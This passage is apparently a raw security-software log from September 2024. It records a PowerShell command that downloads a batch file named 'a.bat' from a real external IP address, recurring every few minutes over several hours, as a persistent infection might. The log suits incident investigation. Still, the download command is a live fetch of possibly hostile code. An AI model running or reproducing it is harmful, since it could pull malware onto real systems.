'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:05:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:07:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:10:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:12:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:15:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:17:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:20:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:22:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:25:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:27:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:30:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:32:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:35:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:37:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:40:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:42:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:45:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:48:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:50:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:53:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:55:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:58:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:00:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:03:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:05:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:08:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:10:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:13:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:15:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:18:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:20:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:23:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:25:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:28:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:30:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:33:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:35:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:38:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:40:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:43:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:45:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:48:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:50:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:53:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:55:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 21:58:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:00:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:03:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:05:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:08:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:10:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:13:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:15:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:18:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:20:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:23:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:25:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:28:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:30:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:33:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:36:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:38:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:41:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:43:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:46:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:48:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:51:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:53:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:56:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 22:58:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:01:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:03:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:06:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:08:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:11:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:13:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:16:12 AVAVER: 21.2.2455 AR2: 240830 defs: 24091510 2024-09-18 23:16:12 ARPOT2: Start 6696 2024-09-18 23:16:12 AR2CFG: 240830 2024-09-18 23:16:12 AR2DEV: Start 1 Driver: 210305 2024-09-18 23:17:19 AR2DEV: Stopped 1 2024-09-18 23:17:19 AVAVER: 21.2.2455 AR2: 240830 defs: 24091804 2024-09-18 23:17:19 ARPOT2: Start 5548 2024-09-18 23:17:19 AR2CFG: 240830 2024-09-18 23:17:19 AR2DEV: Start 1 Driver: 210305 2024-09-18 23:17:19 AR2DEV: Stopped 1 2024-09-18 23:17:19 AVAVER: 21.2.2455 AR2: 240830 defs: 24091804 2024-09-18 23:17:19 ARPOT2: Start 8020 2024-09-18 23:17:19 AR2CFG: 240830 2024-09-18 23:17:19 AR2DEV: Start 1 Driver: 210305 2024-09-18 23:18:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:21:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:23:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:26:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:28:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:31:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:33:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:36:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:38:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:41:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:43:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:46:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:48:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:51:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:53:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:56:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 23:58:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:01:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:03:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:06:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:08:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:11:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:13:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:16:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:19:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:21:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:24:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:26:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:29:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:31:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:34:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:36:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:39:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:41:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:44:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:46:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:49:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:51:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:54:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:56:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 00:59:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:01:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:04:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:06:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:09:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:11:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:14:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:16:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:19:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:21:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:24:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:26:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:29:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:31:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 01:34:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 